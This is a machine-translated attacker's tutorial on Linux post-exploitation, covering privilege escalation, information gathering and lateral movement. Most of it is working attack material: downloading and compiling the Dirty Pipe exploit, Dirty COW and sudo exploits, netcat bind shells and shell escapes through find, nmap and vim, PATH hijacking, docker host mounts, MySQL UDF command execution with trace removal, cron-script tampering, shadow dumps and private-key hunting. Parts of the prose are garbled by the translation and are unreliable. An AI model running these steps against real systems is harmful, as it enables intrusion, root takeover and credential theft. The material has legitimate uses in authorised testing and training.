Although Linux has no domain environment, when we get the permission of a Linux system, can we just mention the right and capture sensitive information? Obviously, it's not just that. This article will start with getting a Linux shell and introduce the Linux intranet penetration technology, which is divided into several parts: container escape, Linux rights lifting, Linux information collection, Linux tunnel technology, Linux horizontal movement, Linux permission maintenance and Linux trace cleaning.
Container escape
The main application of container escape is that after getting the shell, it is found that it is a docker environment. To further penetrate, you must escape to the host.
The escape method of container is shown in:
https://www.cnblogs.com/yokan/p/16049516.html
Linux rights
Linux rights can be divided into the following categories:
System kernel authorization; Third party service rights; Database authorization; Password collection and authorization; Keyboard recording and right raising; Suid raises the right; Sudo raises the right; It is necessary to raise the right.
Right raising auxiliary tool
GTFOBins
GTFOBins is a carefully crafted list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems. The project collects legitimate functions of Unix binaries that may be abused to break restricted shells, upgrade or maintain elevated privileges, transfer files, generate binding and reverse shells, and facilitate other post use tasks. It should be noted that this is not a list of vulnerabilities. The programs listed here are not vulnerable to attack. On the contrary, GTFOBins is a summary of how to obtain root permission when only some binary files are available.
BeRoot
https://github.com/AlessandroZ/BeRoot/tree/master/Linux
BeRoot is used to check common misconfigurations on Linux and Mac OS to find a way to upgrade our privileges. Check items include binary files, wildcard errors, suid, environment variables, NFS, sudo, etc. in GTFOBins. For details, please go to the link above.
pspy
https://github.com/DominicBreuker/pspy
Pspy is a command-line tool used to spy on processes without root permission. It allows you to view commands run by other users, cron tasks, and so on as they execute. The tool passes through the value under / proc to obtain the process parameter information.
traior
https://github.com/liamg/traitor
Multiple linux rights raising vulnerabilities.
Tracker packages a bunch of methods to take advantage of local misconfiguration and vulnerabilities to automatically raise Rights:
- Almost all GTFOBins
- Can write docker sock
- CVE-2022-0847 (dirty pipe)
- CVE-2021-4034 (pwnkit)
- CVE-2021-3560
0x00 basic information collection
Before mentioning the right to raise, first introduce the basic information collection commands to prepare for the subsequent right to raise.
1. Kernel, operating system and device information
uname -a Print all available system information uname -r Kernel version uname -n System host name. uname -m View system kernel architecture (64 bit)/32 Bit) hostname System host name lsb_release -a Release information cat /proc/version Kernel information cat /etc/*-release Release information cat /etc/issue Release information cat /proc/cpuinfo CPU information
2. Users and groups
cat /etc/passwd List all users on the system cat /etc/group Lists all groups on the system groups Group of the current user groups test test User's group getent group xxx xxx Users in group grep -v -E "^#"/ etc / passwd | awk - F: '$3 = = 0 {print $1}' list all super user accounts whoami View current user w Who is currently logged in and what are they doing last List of last logged in users lastlog Last login information of all users lastlog –u %username% Information about the last login of the specified user
3. User and permission information
whoami Current user name id Current user information cat /etc/sudoers Who is allowed to root Identity execution sudo -l The current user can root Perform actions as
yokan users can perform any operation as root
4. Environmental information
env Show environment variables echo %PATH Path information history Displays the command history of the current user pwd Output working directory cat /etc/profile Show default system variables cat /etc/shells Show available shell
0x01 kernel vulnerability authorization
Tip: there is a risk of kernel vulnerability authorization, which may crash the system.
Kernel vulnerability is almost the first method we thought of. The kernel vulnerability of killing is very rare, so we should collect the system related information first. The collection method can refer to the basic information collection in the first section.
Most kernel vulnerabilities can be quickly detected through the kernel version
SearchSploit
Use kali's own searchsploit to search for exploit code in exploitdb
SearchSploit is a command-line search tool for exploit dB, which also allows you to carry a copy of the exploit database with you.
Introduction: https://xz.aliyun.com/t/2860
SearchSploit uses:
Update searchsplash:
apt update && apt -y full-upgrade searchsploit -u
Basic search syntax:
Just add as many search terms as you want to find:
searchsploit linux 2.6 ubuntu priv esc Tip:If you don't get the expected results, you can use more general terms for a broader search. as:Kernel 2.6.25 - >Kernel 2.6 / / Kernel 2.x. Tip:Do not use abbreviations such as:SQLi -> SQL Injection.
Displays the full path of the exploit:
-p, --path [EDB-ID] Displays the full path of the exploit (and, if possible, copies the path to the clipboard), followed by the vulnerability ID number
It is not recommended to modify exp in the local vulnerability database. It is recommended to use the - m parameter to copy those useful to the current working directory:
-m, --mirror [EDB-ID] Put one exp Copy to current working directory,Add target after parameter id
exp utilization:
Upload exp to the target skill, compile and run (the compilation method is in the comments of the source code)
gcc 9545.c -o exp chmod 777 exp ./exp
Of course, the above is only a very ideal situation. We often encounter pit father servers without gcc. At this time, we need to compile locally. During local compilation, you not only need to look at the compilation parameters of the exp source code comments, but also need to manually adjust the compilation parameters. For example, add - m 32 to gcc to compile 32 bits. There are many compilation problems. It's difficult to find Google.
Finally, several points for attention in exploiting kernel vulnerabilities are emphasized:
1. Read the source code comments and have the basic information and compilation methods of exp, otherwise you may not even be able to compile
2. Read the source code, or you will find it not applicable after hard compilation
3. Read the source code, or what if you encounter a completely deleted "exp"
Dirty cow vulnerability (CVE-2016-5195)
Vulnerability principle: the specific vulnerability is, get_ user_ In the process of processing copy on write (hereinafter referred to as COW), the page kernel function may produce race conditions, resulting in the destruction of the COW process, resulting in the opportunity to write data to the read-only memory area in the process address space. Modifying su or passwd programs can achieve the purpose of root.
Vulnerability No.: CVE-2016-5195
Vulnerability Name: Dirty COW
Vulnerability harm: low authority users can use this vulnerability technology to realize local rights lifting on the full version
Scope of influence: 3.9 > linux kernel > = 2.6.22, and Android is also affected
Leverage script Collections: PoCs · dirtycow/dirtycow.github.io Wiki
Vulnerability recurrence:
Check the system version information first
linux kernel version 2.6.32, you should be able to use the dirty cow to raise the right. Download the dirty cow right raising script
Dirty. Is used here C this exp:
This exp exploits the pokemon vulnerability of dirtycow vulnerability. A new passwd line is automatically generated. When the binary file is run, the user is prompted for a new password. The original / etc/passwd file will be backed up to / TMP / passwd Under Bak, overwrite the root account with the generated line. After running the vulnerability, you should be able to log in to the newly created user. This vulnerability can be used to modify user values according to your needs. The default is "firepart" user.
Upload to the tmp directory of the target system
Start a command line directly in the / tmp directory, and then compile and run the script
At this point, switch to the firepart user with the password of 123456
After executing the id command, you can see that it is the root user and the authorization is successfully raised.
Dirty Pipe(CVE-2022-0847)
Utilization conditions
5.8<=Linux kernel<5.16.11/5.15.25/5.10.102
EXP:
https://haxx.in/files/dirtypipez.c #After the file is modified, it has the right to execute the file, and then it has the right to execute the file directly or https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit #The principle is to overwrite the root password field in / etc/passwd and restore it after the root shell pops up
Utilization:
wget https://haxx.in/files/dirtypipez.c gcc -o dirtypipez dirtypipez.c ./dirtypipez /usr/bin/su #Any file with specific suid permissions can be used
0x02 SUID right raising
What is suid? Suid full name is Set owner User ID up on execution. This is an attribute Linux gives to executable files - the s flag. It is commonly understood that when other users execute this program, they can use the permission of the program owner / group. It should be noted that the right can be raised only if the owner of the program is No. 0 or other super user and has suid permission.
It is recommended to read this article of God P: https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html
Common Linux executable files that can be used to claim rights include:
Nmap, Vim, find, bash, more, less, nano, cp
View the executable files that can suid claim:
find / -perm -u=s -type f 2>/dev/null perhaps find / -user root -perm -4000 -print 2>/dev/null
Here are some common application authorization methods with SUID set:
- find
ls -al /usr/bin/find -rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
The utility find is used to find files in the system. At the same time, it also has the ability to execute commands. Therefore, if it is configured to run with SUID permission, all commands that can be executed through find will run as root.
For example, the DC-1 target machine uses the find command to execute the command by the root user
nc is installed on most Linux systems. Use the following command to get the root shell successfully:
find / -type f -exec /bin/bash \; or find / -exec nc -lvp 5555 -e /bin/sh \; nc ip port
Test:
chomod u+s /usr/bin/find #chmod u+s gives suid permission to the owner of a program.
- nmap
Older versions of Nmap (2.02 ≤ Nmap < 5.21) have an interactive mode that allows users to execute shell commands. Since Nmap is in the list of binaries executed with root privileges above, you can use the interactive console to run a shell with the same privileges.)
You can use the following command to enter the namp interactive mode
nmap --interactive
A shell is returned after the command is executed
nmap> !sh sh-3.2# whoami root
After 5.2.0, nmap can also raise rights by executing scripts:
In some distributions of Linux, the rights may fail. Specific principle step-by-step p master article
# NSE script shell nse os.execute('/bin/sh') # nmap rights nmap --script=shell.nse
perhaps
echo 'os.execute("/bin/sh")' > getshell sudo nmap --script=getshell
- vim
If vim is running through SUID, it will inherit the permissions of root user. Can read files that only root can read.
vim /etc/shadow
vim run shell
vim :set shell=/bin/sh :shell
Both conditions are satisfied.
- awk
awk 'BEGIN {system("/bin/bash")}'
- strace
strace -o/dev/null /bin/bash
0x03 using environmental variables to raise rights
The key to use is to find the file with SUID permission, and the environment variable has its own controllable path, such as the current directory (.)
Detailed article reference: https://xz.aliyun.com/t/2767
PATH is an environment variable in Linux and Unix operating systems, which specifies all bin and sbin directories where executable programs are stored. When the user executes any command on the terminal, it will respond to the command executed by the user through the PATH variable and send a request to the shell to search for the executable file. Super users usually also have / sbin and / usr/sbin entries to facilitate the execution of system management commands.
Use the echo command to display the current PATH environment variable:
Test:
Environment configuration:
Now our current directory is / home/yokan. We will create an srcipt directory under the current directory. Then cd to the script directory and write a simple c program to call the function of the system binary file.
pwd mkdir script cd /script nano demo.c
demo. The contents of the C file are shown in the following figure. You can see that we called the ps command, that is, the system binary file:
Then use the gcc command to compile the demo C file and give SUID permission to the compiled file. The command is as follows:
gcc demo.c -o shell #Need to compile with root privileges chmod u+s shell ls -la shell
Attack utilization:
First, you need to invade the target system and enter the right raising stage. Assuming that you have successfully logged in to the target through ssh, let's directly use the find command to search for files with SUID or 4000 permissions.
find / -perm -u=s -type f 2>/dev/null
By executing the above command, the attacker can traverse any executable file. Here we can see that the shell file in / home/yokan/script directory has SUID permission, as shown in the figure:
So we cd to / home/yokan/script / directory, ls click, and see the executable file named shell. When we run this file, we can see that the shell file tries to execute the ps command, which is the real file used to view the process status in the / bin directory.
ls ./shell
Right raising:
echo command
cd /tmp echo "/bin/bash" > ps chmod 777 ps echo $PATH export PATH=/tmp:$PATH cd /home/yokan/script ./shell whoami
For more methods, refer to the above article.
0x04 using third-party services to raise rights
When some third-party services run as root, the shell we get through it is root permission.
netstat -antup this command can display all open ports that are listening. We can use this command to check whether there are local services available
ps -aux | grep root this command displays the services running as root
Docker group rights
When users in the docker group execute commands, sudo will be automatically added before all commands. For design or other reasons, docker gives users of all docker groups considerable power (although the power is only reflected in the ability to access / var/run/docker.sock). By default, docker package will add a docker user group by default. The docker daemon will allow root and docker
Group users access Docker. There is little difference between the Docker permission provided to users and the root permission that users can obtain without authentication.
Users in the docker group can obtain root privileges by executing the following commands
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease #Parameter - v mount the directory outside the container to / hostOS inside the container The startup script for this container is exploit.sh,The main contents are: chroot To container /hostOS (That is, the host computer /),Then get the information of the host root jurisdiction.
Test:
Create a user dockertest, join the docker group, and then execute the following command to obtain root permission
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
MySQL UDF authorization
Check secure first_ file_ Whether the value of priv is empty, because only when it is empty can we continue the following step of raising rights
Right raising steps:
- Get udf code
sqlmap Available in udf Files are divided into 32-bit and 64 bit. Be sure to select the correct version, otherwise it will display: Can't open shared library 'udf.dll'. sqlmap\udf\mysql\windows\32 Stored in the directory lib_mysqludf_sys.dll_ sqlmap\udf\mysql\windows\64 The directory is 64 bit lib_mysqludf_sys.dll_ however sqlmap Built in shell And some binary files, in order to prevent being killed by mistake, are encoded by XOR and cannot be used directly. Can use sqlmap Built in decoding tool cloak.py,Enter into sqlmap\extra\cloak\cloak Under the directory, execute the command: cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_ sqlmap Medium udf Functions provided by the file: sys_eval,Execute any command and return the output. sys_exec,Execute any command and return the exit code. sys_get,Gets an environment variable. sys_set,Create or modify an environment variable.
- Upload the udf file to the specified location
MySQL<5.0,The export path is arbitrary; 5.0 <= MySQL<5.1,You need to export to the system directory of the target server (for example: c:/windows/system32/) MySQL 5.1 For the above version, you must udf.dll File put MySQL Under the installation directory lib\plugin Folder to create custom functions. select @@basedir; #View mysql installation directory select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //Create lib directory with NTFS ADS select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //Create plugin directory with NTFS ADS select 0xUDFcode into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll'; #When exporting udfcode, pay attention to modifying udfcode
- Importing custom functions from udf files
create function sys_eval returns string soname 'udf.dll'; //sys_ Eval is the function name (optional shell,sys_exec,sys_eval), UDF DLL is lib_mysqludf_sys.dll_ Uploaded file name
- Execute command
select * from mysql.func where name = 'sys_eval'; #View sys created_ Eval function select sys_eval('whoami'); #Use system command
- Trace removal
drop function sys_eval; #Delete function delete from mysql.func where name='sys_eval' #Delete function
redis rights
If redis is running as root, hackers can use redis to write SSH public key files and directly log in to the victim server through SSH password free. Redis is bound to port 6379 by default, and authentication is not enabled. Without any access policy, anyone can directly access redis services and perform relevant operations without authorization.
Refer to Redis foundation and simple utilization. docx for details
0x05 Sudo right raising
Once an attacker has access to any SUDO user, he can basically execute any command with root privileges. Administrators may only allow users to run some commands through SUDO, but not all commands. Even with such a configuration, they may unknowingly introduce vulnerabilities, resulting in the risk of privilege escalation.
No password:
sudo -l prints commands that are allowed to run as SUDO
If we are allowed to run find, cat, vi, more, less, nmap, perl, ruby, gdb, python and any other programming language compiler, interpreter and editor with sudo, then we can obtain root permission through these commands.
The available commands may not be so obvious in the actual environment. These commands can also be used in some configurations. If you are not familiar with sudo mechanism, you can directly use sudo + commands to test whether they are available.
For example, vi command:
Enter the baseline command mode and enter:/ bin/bash, you can open a shell whose user is root
sudo vi test.txt :!/bin/bash
With password:
If you know the password of sudo group users, you can directly sudo -i claim the right.
sudo -i: you can use this command to frequently execute certain permissions that only super users can execute without entering a password every time. When prompted for a password, the password is the password of the current account. There is no time limit. After executing the command, the prompt changes to "#" instead of "$". You can execute "exit" or "logout" when you want to return the ordinary account.
Supplement:
Using sudo directly in a low-power shell doesn't work because linux requires users to enter passwords from the terminal device (tty) instead of standard input (stdin) for security reasons. In other words, sudo essentially reads the keyboard when you enter the password, not the characters entered in bash. Therefore, in order to be able to enter the password, we must simulate a terminal device.
python has such a function. Enter in the shell:
python -c 'import pty;pty.spawn("/bin/sh")'
We use python to build a virtual terminal, and then we can use sudo and other commands.
Linux sudo privilege escalation vulnerability (CVE-2021-3156)
Very easy to use
summary
When sudo runs a command in shell mode with the - s or - i command line option, it will use a backslash to escape special characters in the command parameters. However, when sudoedit is run with the - s or - i flag, it is not actually escaped, which may lead to buffer overflow. Therefore, as long as the sudoers file exists (usually / etc/sudoers), the attacker can use the local ordinary user to obtain the system root permission with sudo.
Impact version
sudo 1.8.2 - 1.8.31p2
sudo 1.9.0 - 1.9.5p1
View sudo version
Command: sudo --version
POC
https://github.com/worawit/CVE-2021-3156
Reappearance
sudo --version
python exploit_defaults_mailer.py /tmp/sshell
0x06 improper configuration of file permissions
When the starting permission of a process is ROOT and the editing permission of the corresponding file is ordinary user, we can use this problem point to raise the right.
pspy(https://github.com/DominicBreuker/pspy )The tool provides ordinary user permissions to listen to process information
Test environment:
First, we create a while loop and use the ROOT user loop to execute / TMP / 1 sh.
Utilization:
When we obtain the permissions of ordinary users, we can use pspy to monitor that the ROOT user is continuously executing / TMP / 1 sh:
Try to view / TMP / 1 SH file contents and permissions. It is found that our current user has read and write permissions:
We try to replace the contents of the file to see if the command will be started with ROOT permission:
If the authorization is successfully raised, start the custom command with ROOT permission:
0x07 improper configuration of planned tasks
Cron tasks often run with root privileges. If we can successfully tamper with any script or binary defined in the cron task, we can execute arbitrary code with root privileges.
How to view scheduled tasks:
crontab -l ls -alh /var/spool/cron cat /etc/cron*
give an example:
ls -la /etc/cron.d print cron Cron task already exists in D.
Find / - perm - 2 - type F 2 > / dev / null print global writable files
cron-logrotate.sh is globally writable and is run by cronjob. We're at Cron logrotate Any command written / added in SH will be executed as root
We write a C file in the / tmp directory and compile it:
The rootme executable generates a Shell. ls -la rootme indicates that the file is owned by the user SHayslett.
Then execute the following command to change the owner and group of the executable file to root, and set the SUID bit at the same time:
echo "chown root:root /tmp/rootme; chmod u+s /tmp/rootme;">/usr/local/sbin/cron-logrotate.sh
After the logrotate Cron task runs with root permission,
Run/ rootme generates a root Shell
Linux Polkit privilege escalation vulnerability (CVE-2021-4034)
Vulnerability Description: the vulnerability is that pkexec cannot correctly handle the call parameters, so the environment variables are executed as commands. Attackers with arbitrary user privileges can exploit this vulnerability by modifying the environment variables under the default configuration, so as to obtain the root privileges of the affected host.
Affected linux:
All Polkit versions released from May 2009 to January 26, 2022
Polkit is pre installed on CentOS, Ubuntu, Debian, Redhat, Fedora, Gentoo, Mageia and other Linux distributions. All Linux systems with polkit in this version range are affected.
Affected localized operating system:
Galaxy Kirin advanced server operating system V10
Galaxy Kirin advanced server operating system V10 SP1
Galaxy Kirin advanced server operating system V10 SP2
Tongxin UOS server operating system V20
Galaxy Kirin desktop operating system V10
Galaxy Kirin desktop operating system V10 SP1
Tongxin UOS desktop operating system V20
Winning the bid: Kirin desktop operating system v7 0
Version detection:
Linux system users can judge whether the current system is within the affected range by checking the Polkit version. The commands of the mainstream Linux distribution are as follows:
CentOS, RedHat series:
rpm -qa polkit
Debian, Ubuntu series:
dpkg -l policykit-1
Unaffected version
CentOS:
CentOS 6: polkit-0.96-11.el6_10.2 CentOS 7: polkit-0.112-26.el7_9.1 CentOS 8.0: polkit-0.115-13.el8_5.1 CentOS 8.2: polkit-0.115-11.el8_2.2 CentOS 8.4: polkit-0.115-11.el8_4.2
Ubuntu:
Ubuntu 14.04 ESM: policykit-1-0.105-4ubuntu3.14.04.6+esm1 Ubuntu 16.04 ESM: policykit-1-0.105-14.1ubuntu0.5+esm1 Ubuntu 18.04 LTS: policykit-1-0.105-20ubuntu0.18.04.6 Ubuntu 20.04 LTS: policykit-1-0.105-26ubuntu1.2 Ubuntu 21.10: policykit-1-0.105-31ubuntu0.1
Debain:
Debain stretch: policykit-1 0.105-18+deb9u2 Debain buster: policykit-1 0.105-25+deb10u1 Debain bullseye: policykit-1 0.105-31+deb11u1 Debain bookworm,bullseye: policykit-1 0.105-31.1
Vulnerability recurrence:
CentOS environment
Utilization:
exp online many. Also very stable. It's a "God hole".
Linux information collection
Basic information of this machine
#administrators $Ordinary users @The former indicates the login user name, the latter indicates the host name, and then indicates the current directory / Represents the root directory ~Indicates the current user's home directory
1. Kernel, operating system and device information
uname -a Print all available system information uname -r Kernel version uname -n System host name. uname -m View system kernel architecture (64 bit)/32 Bit) hostname System host name lsb_release -a Release information cat /proc/version Kernel information cat /etc/*-release Release information cat /etc/issue Release information cat /proc/cpuinfo CPU information
2. Users and groups
cat /etc/passwd List all users on the system cat /etc/shadow View user Hash cat /etc/group Lists all groups on the system groups Group of the current user groups test test User's group getent group xxx xxx Users in group grep -v -E "^#"/ etc / passwd | awk - F: '$3 = = 0 {print $1}' list all super user accounts awk -F: 'length($2)==0 {print $1}' /etc/shadow #Check whether there is an air port order user awk '/\$1|\$6/{print $1}' /etc/shadow #View remote login account whoami View current user w Who is currently logged in and what are they doing who Command is used to display which users in the system are working on it last List of last logged in users lastlog Last login information of all users lastlog –u %username% Information about the last login of the specified user
3. User and permission information
whoami Current user name id Current user information cat /etc/sudoers have access to sudo Upgrade to root User sudo -l The current user can root Perform actions as
yokan users can perform any operation as root
4. Environmental information
env Show all environment variables set Show local environment variables echo $PATH Path information in environment variables export [-fnp][Variable name]=[Variable setting value] Display and set environment variables pwd Output working directory cat /etc/profile Show default system variables cat /etc/shells Show available shell ls -la /etc/*.conf see etc Download all profiles
5. Historical command
Displays the command history of the current user
history cat ~/.bash_history # View historical command files of other users cat /home/user/.bash_history
History displays memory and ~ / bash_ All contents in history;
The contents of memory are not written to ~ / bash_history, the memory content will be written to the shell only when the current shell is closed
6. Process information
ps aux Display all processes in user's format,Include non terminal processes ps -ef Show all processes,display UID,PPIP(Parent process),C And STIME Field ps -ef | grep java Query all process information of an application top Real time display of the most occupied processes
If you want to view the CPU and memory usage of a process, you can use aux
If you want to view the parent process ID of the process and the complete COMMAND command, you can use - ef
lsof -c $PID View process associated files /proc/$PID/cmdline Full command line information /proc/$PID/comm Command name of the process /proc/$PID/cwd Symbolic link to the current working directory of the process /proc/$PID/exe Symbolic link of running program /proc/$PID/environ Environment variables for the process /proc/$PID/fd Process open file
7. Service information
cat /etc/services Query existing services cat /etc/services | grep Java Query the corresponding service systemctl list-units --type=service --state=running Query the opened services
8. Plan task
In Linux system, the planning task is generally undertaken by cron. After cron starts, it will read all its configuration files (global configuration file / etc/crontab, and the scheduled task configuration file of each user), and then cron will call the work task on time according to the command and execution time.
/var/spool/cron/crontabs : This directory distinguishes each user's own execution plan by account /etc/crontab : The system execution plan needs to be followed by the user format
All planned task items: /var/spool/cron/* /var/spool/anacron/* /etc/crontab /etc/anacrontab /etc/cron.* /etc/anacrontab
crontab -l Query all planned tasks of the current user crontab -l -u user Query the scheduled task of the specified user cat /var/spool/cron/crontabs/root query root User's scheduled tasks
9. Network, routing and communication
Query ip
ifconfig ip addr
Print routing information
route Query routing table route -n Query the routing table to ip address display netstat -r Query routing table ip ro
View system arp table
arp -a
Port opening
netstat -antup All ports netstat -antp tcp port netstat -anup udp port
View port service mapping
cat /etc/services
List configuration rules for iptables
iptables -L
Display network card information
netstat -i
dns information
cat /etc/resolv.conf see dns configuration information dnsdomainname -V Print DNS In the system FQDN Domain name in name cat /etc/hosts see hosts Domain name resolution file
10. Apps installed
rpm -qa --last #Redhat,CentOS rpm -qa polkit #View the installed version of the specified application dpkg -l #ubuntu,debian dpkg -l policykit-1 #View the installed version of the specified application dpkg -L xxx #Query the files associated with a software
11. Find directories that can be written or executed
find / -writable -type d 2>/dev/null find / -perm -o+w -type d 2>/dev/null find / -perm -o+x -type d 2>/dev/null
12. Firewall
iptables -L View firewall configuration View firewall status: systemctl status firewalld service iptables status Temporarily turn off the firewall: systemctl stop firewalld service iptables stop Permanently turn off the firewall: systemctl disable firewalld chkconfig iptables off Restart firewall: systemctl enable firewalld service iptables restart
13. Sensitive documents
The - o parameter of the find command indicates the meaning of or
find / -type f -iname "*.bash_history" -o -iname "*config*" -o -iname "web.xml" -o -iname "*database*" -o -iname "*pass*" 2>/dev/null
Find SSH key:
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls
Web application services
Common profile paths:
/apache/apache/conf/httpd.conf /apache/apache2/conf/httpd.conf /apache/php/php.ini /bin/php.ini /etc/apache/apache.conf /etc/apache/httpd.conf /etc/apache2/apache.conf /etc/apache2/httpd.conf /etc/apache2/sites-available/default /etc/apache2/vhosts.d/00_default_vhost.conf /etc/httpd/conf.d/httpd.conf /etc/httpd/conf.d/php.conf /etc/httpd/conf/httpd.conf /etc/httpd/php.ini /etc/init.d/httpd /etc/php.ini /etc/php/apache/php.ini /etc/php/apache2/php.ini /etc/php/cgi/php.ini /etc/php/php.ini /etc/php/php4/php.ini /etc/php4.4/fcgi/php.ini /etc/php4/apache/php.ini /etc/php4/apache2/php.ini /etc/php4/cgi/php.ini /etc/php5/apache/php.ini /etc/php5/apache2/php.ini /etc/php5/cgi/php.ini /etc/phpmyadmin/config.inc.php /home/apache/conf/httpd.conf /home/apache2/conf/httpd.conf /home/bin/stable/apache/php.ini /home2/bin/stable/apache/php.ini /NetServer/bin/stable/apache/php.ini /opt/www/conf/httpd.conf /opt/xampp/etc/php.ini /PHP/php.ini /php/php.ini /php4/php.ini /php5/php.ini /usr/lib/php.ini /etc/nginx/nginx.conf /usr/lib/php/php.ini /usr/local/apache/conf/httpd.conf /usr/local/apache/conf/php.ini /usr/local/apache2/conf/httpd.conf /usr/local/apache2/conf/php.ini /usr/local/etc/php.ini /usr/local/httpd/conf/httpd.conf /usr/local/lib/php.ini /usr/local/php/lib/php.ini /usr/local/php4/lib/php.ini /usr/local/php4/lib/php.ini /usr/local/php4/php.ini /usr/local/php5/etc/php.ini /usr/local/php5/lib/php.ini /usr/local/php5/php5.ini /usr/local/share/examples/php/php.ini /usr/local/share/examples/php4/php.ini /usr/local/Zend/etc/php.ini /var/apache2/config.inc /var/httpd/conf/httpd.conf /var/httpd/conf/php.ini /var/httpd/conf/php.ini /var/local/www/conf/httpd.conf /var/local/www/conf/php.ini /var/www/conf/httpd.conf /web/conf/php.ini /www/conf/httpd.conf /www/php/php.ini /www/php4/php.ini /www/php5/php.ini /xampp/apache/bin/php.ini /xampp/apache/conf/httpd.conf
database
/etc/init.d/mysql /etc/my.cnf /etc/mysql/my.cnf /etc/mysql/my.cnf /var/lib/mysql/my.cnf /var/lib/mysql/mysql/user.MYD /usr/local/mysql/bin/mysql /usr/local/mysql/my.cnf /usr/share/mysql/my.cnf
Automated script
linux_info.sh
#!/bin/bash #output file filename=$(date +%s)'.log' echo "information gathering" echo -e "\n" | tee -a $filename echo "Account information collection" | tee -a $filename cat /etc/passwd | tee -a $filename echo -e "\n" | tee -a $filename echo "shadow" | tee -a $filename cat /etc/shadow | tee -a $filename echo -e "\n" | tee -a $filename echo "Process information collection" | tee -a $filename ps aux | tee -a $filename echo -e "\n" | tee -a $filename echo "network connections" | tee -a $filename netstat -antlp | tee -a $filename echo -e "\n" | tee -a $filename echo "Current user:" $(whoami) 2>/dev/null | tee -a $filename echo -e "\n" | tee -a $filename echo "Port listening" | tee -a $filename netstat -lnpt | tee -a $filename echo -e "\n" | tee -a $filename echo "Login user" | tee -a $filename cat /etc/passwd | grep -E -v 'nologin$|false' | tee -a $filename echo -e "\n" | tee -a $filename echo "Add user log" | tee -a $filename grep "useradd" /var/log/secure | tee -a $filename echo -e "\n" | tee -a $filename echo "History Operation extraction" | tee -a $filename cat ~/.*history | tee -a $filename echo -e "\n" | tee -a $filename echo "Successful login IP" | tee -a $filename grep "Accepted " /var/log/secure* | awk '{print $11}' | sort | uniq -c | sort -nr | more | tee -a $filename echo -e "\n" | tee -a $filename echo "View routing table" | tee -a $filename route -n | tee -a $filename echo -e "\n" | tee -a $filename echo "see SSH key" | tee -a $filename sshkey=${HOME}/.ssh/authorized_keys if [ -e "${sshkey}" ]; then cat ${sshkey} | tee -a $filename else echo -e "SSH key file does not exist\n" | tee -a $filename fi echo -e "\n" | tee -a $filename echo "see known_hosts" | tee -a $filename cat ~/.ssh/known_hosts | tee -a $filename echo -e "\n" | tee -a $filename echo "lookup WEB-INF" | tee -a $filename find / -name *.properties 2>/dev/null | grep WEB-INF | tee -a $filename echo -e "\n" | tee -a $filename echo "user|pass|pwd|uname|login|db_" | tee -a $filename find / -name "*.properties" | xargs egrep -i "user|pass|pwd|uname|login|db_" | tee -a $filename echo -e "\n" | tee -a $filename echo "jdbc:|pass=|passwd=" | tee -a $filename find / -regex ".*\.properties\|.*\.conf\|.*\.config\|.*\.sh" | xargs grep -E "=jdbc:|pass=|passwd=" | tee -a $filename echo -e "\n" | tee -a $filename # Author cances echo "ip And network card information" | tee -a $filename ip a | awk '{print $2,$4}' | tee -a $filename echo -e "\n" | tee -a $filename echo "Login user" | tee -a $filename cat /etc/passwd | grep -E -v 'sync$|halt$|nologin$|false|shutdown' | tee -a $filename echo -e "\n" | tee -a $filename echo "User login log" | tee -a $filename lastlog | tee -a $filename echo -e "\n" | tee -a $filename echo "see hosts" | tee -a $filename cat /etc/hosts | tee -a $filename echo -e "\n" | tee -a $filename echo "View system version" | tee -a $filename cat /etc/*-release | tee -a $filename echo -e "\n" | tee -a $filename echo "View kernel version" | tee -a $filename uname -mrs | tee -a $filename
Linux tunnel technology
The tunnel technology used in Linux intranet penetration is very different from Windows intranet penetration.
See the article "proxy, forwarding and tunnel hiding" for details
Linux lateral movement
Host survival detection
shell
for i in 192.168.111.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done perhaps for k in $( seq 1 255);do ping -c 1 192.168.1.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
arpscan
git clone https://github.com/attackdebris/arpscan.git make chmod +x arpscan ./arpscan
Nbtscan for Linux
wget http://unixwiz.net/tools/nbtscan-source-1.0.35.tgz tar -xzvf nbtscan-source-1.0.35.tgz make nbtscan -h
Port scan
Just normal port scanning. There's nothing to say. For high-risk ports, conduct penetration according to the penetration test process, which will not be carried out specifically here.
Commonly used, such as Ladon, fscan, etc
https://github.com/k8gege/LadonGo
SSH landscape
This is the focus of Linux horizontal. Obtaining the plaintext password of the Linux account plays a great role, because there may be only a few administrators in the Intranet environment, and the passwords set by different servers may also be the same.
SSH private key disclosure
Those who do not understand SSH private key login can see this article
https://www.runoob.com/w3cnote/set-ssh-login-key.html
Generally, the key is stored in ssh ~ / ssh / Directory:
id_rsa Is the private key, id_rsa.pub Public key
Search for files containing ssh keys: (the following command does not contain hidden files, that is, the search under similar. ssh directory cannot be found)
grep -ir "BEGIN DSA PRIVATE KEY" /home/* grep -ir "BEGIN DSA PRIVATE KEY" /* grep -ir "BEGIN RSA PRIVATE KEY" /home/* grep -ir "BEGIN RSA PRIVATE KEY" /* grep -ir "BEGIN OPENSSH PRIVATE KEY" /home/* grep -ir "BEGIN OPENSSH PRIVATE KEY" /*
If the key is found, you need to determine which server the key is used for. Pay attention to the following files:
/etc/hosts /etc/ssh/ssh_config ~/.known_hosts ~/.bash_history ~/.ssh/config
known_ The hosts file is used to verify the identity of the remote login system. ssh can add the key to the user file automatically or manually. This file contains the remote machine ip and remote machine public key of all hosts that the user has connected to. Generally, ssh will automatically add the public key of the remote host to the user's known when logging in for the first time_ Hosts file. known_ There are two formats of hosts, depending on your ~ / The setting of HashKnownHosts field in ssh/config file may be plaintext or a hash string. If there is no ~ / ssh/config file, depending on / etc / ssh / ssh_ This field in the config file.
Modify / etc/ssh/ssh_config file,
HashKnownHosts no
HashKnownHosts yes
